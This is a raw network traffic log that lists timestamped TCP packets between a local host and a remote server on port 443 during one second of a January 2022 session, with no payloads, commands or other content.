Jan 14, 2022 09:25:57.452593088 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.452610970 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.452635050 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.452662945 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.452692986 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.452701092 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.452732086 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.452747107 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.452763081 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.452816963 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.452817917 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.452838898 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.452883959 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.452889919 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.452908039 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.452955961 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.452974081 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.452976942 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.453000069 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.453041077 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.453051090 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.453069925 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.453114986 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.453129053 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.453138113 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.453156948 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.453202963 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.453203917 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.453232050 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.453241110 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.453265905 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.453299999 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.453300953 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.453322887 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.453362942 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.453368902 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.453388929 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.453433037 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.453449965 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.453450918 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.453471899 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.453512907 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.453519106 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.453536987 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.453577995 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.453596115 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.453605890 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.453625917 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.453670025 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.453672886 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.453697920 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.453706026 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.453744888 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.453758955 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.453769922 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.453783035 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.453807116 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.453826904 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.453855038 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.453869104 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.453882933 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.453924894 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.453969002 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.454010963 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.454051971 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.454066992 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.454082012 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.454128027 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.454161882 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.454195023 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.454209089 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.454224110 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.454261065 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.454288006 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.454354048 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.454368114 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.454382896 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.454425097 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.454438925 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.454560995 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.454596043 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.454663992 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.454678059 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.454708099 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.454730034 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.454741001 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.454750061 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.454762936 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.454817057 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.454854012 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.454869986 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.454890013 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.454936028 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.454957008 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.454972982 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.455008984 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.455018997 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.455030918 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.455040932 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.455063105 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.455077887 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.455111027 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.455126047 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.455149889 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.455172062 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.455188990 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.455224991 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.455248117 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.455260992 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.455265999 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.455317020 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.456707001 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.465243101 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.465276003 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.465363026 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.465379000 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.465423107 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.465440035 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.465580940 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.465611935 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.465658903 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.465672970 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.465780973 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.465919971 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.466036081 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.466065884 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.466119051 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.466131926 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.466149092 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.466187954 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.466411114 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.466450930 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.466511965 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.466527939 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.466577053 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.466794968 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.466833115 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.466871023 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.466885090 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.466902018 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.466927052 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.467179060 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.467215061 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.467338085 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.467353106 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.467427015 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.467535019 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.467571974 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.467587948 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.467634916 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.467645884 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.467658997 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.467710972 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.470130920 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.472628117 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.472666979 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.472713947 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.472735882 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.472747087 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.472908020 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.472932100 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.472969055 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.473006964 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.473021984 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.473038912 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.473068953 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.473365068 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.473418951 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.473462105 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.473481894 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.473495960 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.473556042 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.473726034 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.473762989 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.473807096 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.473822117 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.473861933 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.473876953 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.474112034 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.474148035 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.474185944 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.474208117 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.474221945 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.474271059 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.474529982 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.474570036 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.474606991 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.474622011 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.474637985 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.474675894 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.474885941 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.474922895 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.474968910 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.474983931 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.475019932 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.475030899 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.475245953 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.475282907 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.475332975 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.475348949 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.475363970 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.475440025 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.475677013 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.475723982 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.475805044 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.475816965 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.475830078 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.476044893 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.476074934 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.476121902 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.476136923 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.476151943 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.476490974 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.476521015 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.476572037 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.476588964 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.476603031 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.476880074 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.476908922 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.476950884 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.476967096 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.476982117 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.477021933 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.477279902 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.477313042 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.477356911 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.477380991 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.477406025 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.477456093 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.477812052 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.477860928 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.477942944 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.477960110 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.477976084 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.478015900 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.478239059 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.478269100 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.478313923 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.478332043 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.478344917 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.478401899 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.478638887 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.478669882 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.478703976 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.478720903 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.478735924 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.478777885 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.482062101 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.485445976 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.485477924 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.485585928 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.485604048 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.485655069 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.491657019 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.491719961 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.491784096 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.491801023 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.491818905 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.491858959 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.491892099 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.491929054 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.491945028 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.491961002 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.492000103 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.492024899 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.492057085 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.492094994 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.492110014 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.492151976 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.492170095 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.492201090 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.492223978 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.492244005 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.492275000 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.492280960 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.492285967 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.492310047 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.492322922 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.492342949 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.492358923 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.492396116 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.492405891 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.492423058 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.492472887 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.492480993 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.492501974 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.492544889 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.492556095 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.492583990 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.492593050 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.492630005 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.492662907 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.492743969 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.492777109 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.492816925 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.492831945 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.492846966 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.492885113 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.503084898 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.503140926 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.503166914 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.503185987 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.503215075 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.503290892 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.503340960 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.503380060 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.503418922 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.503433943 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.503452063 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.503506899 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.503678083 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.503717899 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.503777027 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.503792048 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.503834963 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.504076958 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.504115105 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.504154921 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.504168987 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.504211903 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.504247904 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.504559994 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.504597902 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.504646063 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.504659891 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.504678965 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.504885912 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.505048990 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.505084991 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.505141973 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.505156040 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.505172014 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.505397081 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.505434990 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.505502939 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.505517960 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.505531073 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.505573988 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.509826899 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.509896040 CET	443	49888	144.76.136.153	192.168.2.4
